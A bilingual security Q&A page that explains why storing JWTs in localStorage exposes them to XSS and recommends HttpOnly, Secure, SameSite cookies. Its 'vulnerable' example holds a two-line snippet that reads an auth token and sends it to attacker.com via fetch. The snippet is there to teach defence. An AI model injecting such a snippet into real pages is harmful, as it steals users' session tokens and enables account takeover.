¿Por qué no debes almacenar JWTs en LocalStorage?
Almacenar tokens de autenticación en localStorage los expone a una exfiltración inmediata ante cualquier vulnerabilidad Cross-Site Scripting (XSS). Las cookies con flags HttpOnly, Secure y SameSite evitan que JavaScript malicioso acceda al token.
Detailed Technical Explanation
Cualquier script que se ejecute en el contexto de tu página web (incluyendo dependencias npm comprometidas o inyecciones XSS) tiene acceso total a window.localStorage. Al almacenar tokens sensibles allí, un atacante puede exfiltrarlos mediante una sola línea de código y usurpar la identidad del usuario sin dejar rastro.
Technical Example & Code
El acceso a localStorage es directo desde cualquier script inyectado en el DOM.
// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));
// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!Why This Is the Case (Underlying Architectural Rationale)
"El modelo de seguridad del navegador restringe el acceso al almacenamiento local por origen (Same-Origin Policy), pero no distingue entre el código legítimo de tu aplicación y código malicioso inyectado vía XSS."
Common Misconception vs Reality
"LocalStorage es un almacén seguro para tokens de sesión porque otros dominios no pueden leerlo directamente."
Aunque otros dominios no pueden accederlo directamente, cualquier inyección de código XSS dentro de tu propio dominio puede robar los tokens instantáneamente.
Related Curious-Techie Resources
Cookies vs LocalStorage: In-Depth Technical Comparison →
Detailed analysis of storage lifetimes, XSS exposure, CSRF mitigations, and performance.
Interactive ToolSecurity Headers Checker →
Audit your website for HttpOnly cookie enforcement, CSP protection, and transport security.
Developer ReferenceWhat is a Cookie? Protocol Definition →
Related Questions in the Q&A Knowledge Base
Yes, standard JSON Web Tokens (JWS) are signed, not encrypted. The header and payload are merely Base64URL-encoded strings that anyone can decode and read in plaintext without knowing the secret key.
Using 'unsafe-inline' in a Content Security Policy defeats XSS protection because it instructs the browser to execute any inline script found in the HTML. Since Cross-Site Scripting works by injecting malicious inline script tags or event handlers, 'unsafe-inline' allows the attacker's payload to run freely.
Authentication (AuthN) verifies who a user is (identity confirmation), while Authorization (AuthZ) determines what permissions or resources that authenticated user is allowed to access.
Ecosistema Técnico Relacionado y Próximos Pasos
Artículos Técnicos Relacionados
What Is a JSON Web Token (JWT)?
Direct definition and architectural breakdown of stateless token exchange.
JWT vs Session-Based Authentication: Architecture & Performance
Compare database session lookups with stateless JWT verification across scalability and revocation.
Troubleshooting: JWT Works in Postman but Fails in Browser
Diagnose and remediate CORS header stripping, HttpOnly cookie constraints, and preflight authorization failures.
Laboratorios Prácticos de Diagnóstico
Especificaciones y Referencias Técnicas
Continuar Aprendiendo
JWT Interactive Tampering & Validation Lab
Put your theoretical understanding into practice by tampering with claims and testing signature rejection in the live sandbox.